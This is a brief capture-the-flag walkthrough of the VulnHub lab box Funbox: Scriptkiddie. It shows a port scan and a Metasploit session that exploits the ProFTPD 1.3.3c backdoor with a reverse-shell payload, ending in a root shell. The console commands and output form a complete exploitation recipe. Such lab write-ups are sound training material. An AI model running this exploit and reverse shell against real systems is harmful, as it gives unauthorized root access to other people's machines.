Vulnhub: FUNBOX: SCRIPTKIDDIE
This will be brief. It’s FUNBOX: SCRIPTKIDDIE from VulnHub:
As always, it’s a very easy box for beginners.
Ports
Quite a few:
PORT STATE SERVICE REASON
- 21/tcp open ftp syn-ack ttl 64
- 22/tcp open ssh syn-ack ttl 64
- 25/tcp open smtp syn-ack ttl 64
- 80/tcp open http syn-ack ttl 64
- 110/tcp open pop3 syn-ack ttl 64
- 139/tcp open netbios-ssn syn-ack ttl 64
- 143/tcp open imap syn-ack ttl 64
- 445/tcp open microsoft-ds syn-ack ttl 64
MAC Address: 08:00:27:72:B5:70 (Oracle VirtualBox virtual NIC)
But mostly for distraction.
FTP
21/tcp open ftp syn-ack ttl 64 ProFTPD 1.3.3c
The exploit is 11 years old at this point. Might as well go with Metasploit:
msf6 > search proftpd
Matching Modules
================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 exploit/linux/misc/netsupport_manager_agent 2011-01-08 average No NetSupport Manager Agent Remote Buffer Overflow
1 exploit/linux/ftp/proftp_sreplace 2006-11-26 great Yes ProFTPD 1.2 - 1.3.0 sreplace Buffer Overflow (Linux)
2 exploit/freebsd/ftp/proftp_telnet_iac 2010-11-01 great Yes ProFTPD 1.3.2rc3 - 1.3.3b Telnet IAC Buffer Overflow (FreeBSD)
3 exploit/linux/ftp/proftp_telnet_iac 2010-11-01 great Yes ProFTPD 1.3.2rc3 - 1.3.3b Telnet IAC Buffer Overflow (Linux)
4 exploit/unix/ftp/proftpd_modcopy_exec 2015-04-22 excellent Yes ProFTPD 1.3.5 Mod_Copy Command Execution
5 exploit/unix/ftp/proftpd_133c_backdoor 2010-12-02 excellent No ProFTPD-1.3.3c Backdoor Command Execution
Interact with a module by name or index. For example info 5, use 5 or use exploit/unix/ftp/proftpd_133c_backdoor
msf6 > use 5
msf6 exploit(unix/ftp/proftpd_133c_backdoor) > show options
Module options (exploit/unix/ftp/proftpd_133c_backdoor):
Name Current Setting Required Description
---- --------------- -------- -----------
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 21 yes The target port (TCP)
Exploit target:
Id Name
-- ----
0 Automatic
msf6 exploit(unix/ftp/proftpd_133c_backdoor) > set rhosts funbox11
rhosts => funbox11
msf6 exploit(unix/ftp/proftpd_133c_backdoor) > show payloads
Compatible Payloads
===================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 payload/cmd/unix/bind_perl normal No Unix Command Shell, Bind TCP (via Perl)
1 payload/cmd/unix/bind_perl_ipv6 normal No Unix Command Shell, Bind TCP (via perl) IPv6
2 payload/cmd/unix/generic normal No Unix Command, Generic Command Execution
3 payload/cmd/unix/reverse normal No Unix Command Shell, Double Reverse TCP (telnet)
4 payload/cmd/unix/reverse_bash_telnet_ssl normal No Unix Command Shell, Reverse TCP SSL (telnet)
5 payload/cmd/unix/reverse_perl normal No Unix Command Shell, Reverse TCP (via Perl)
6 payload/cmd/unix/reverse_perl_ssl normal No Unix Command Shell, Reverse TCP SSL (via perl)
7 payload/cmd/unix/reverse_ssl_double_telnet normal No Unix Command Shell, Double Reverse TCP SSL (telnet)
msf6 exploit(unix/ftp/proftpd_133c_backdoor) > set payload 3
payload => cmd/unix/reverse
msf6 exploit(unix/ftp/proftpd_133c_backdoor) > show options
Module options (exploit/unix/ftp/proftpd_133c_backdoor):
Name Current Setting Required Description
---- --------------- -------- -----------
RHOSTS 192.168.1.76 yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 21 yes The target port (TCP)
Payload options (cmd/unix/reverse):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Automatic
msf6 exploit(unix/ftp/proftpd_133c_backdoor) > set lhost 192.168.1.210
lhost => 192.168.1.210
msf6 exploit(unix/ftp/proftpd_133c_backdoor) > run
[*] Started reverse TCP double handler on 192.168.1.210:4444
[*] 192.168.1.76:21 - Sending Backdoor Command
[*] Accepted the first client connection...
[*] Accepted the second client connection...
[*] Command: echo KUfdmeVRmhoY4TuN;
[*] Writing to socket A
[*] Writing to socket B
[*] Reading from sockets...
[*] Reading from socket B
[*] B: "KUfdmeVRmhoY4TuN\r\n"
[*] Matching...
[*] A is input...
[*] Command shell session 1 opened (192.168.1.210:4444 -> 192.168.1.76:47352) at 2021-07-31 03:54:05 -0400
shell
[*] Trying to find binary 'python' on the target machine
[*] Found python at /usr/bin/python
[*] Using `python` to pop up an interactive shell
[*] Trying to find binary 'bash' on the target machine
[*] Found bash at /bin/bash
id
id
uid=0(root) gid=0(root) groups=0(root),65534(nogroup)
root@funbox11:/#Yeeted and deleted.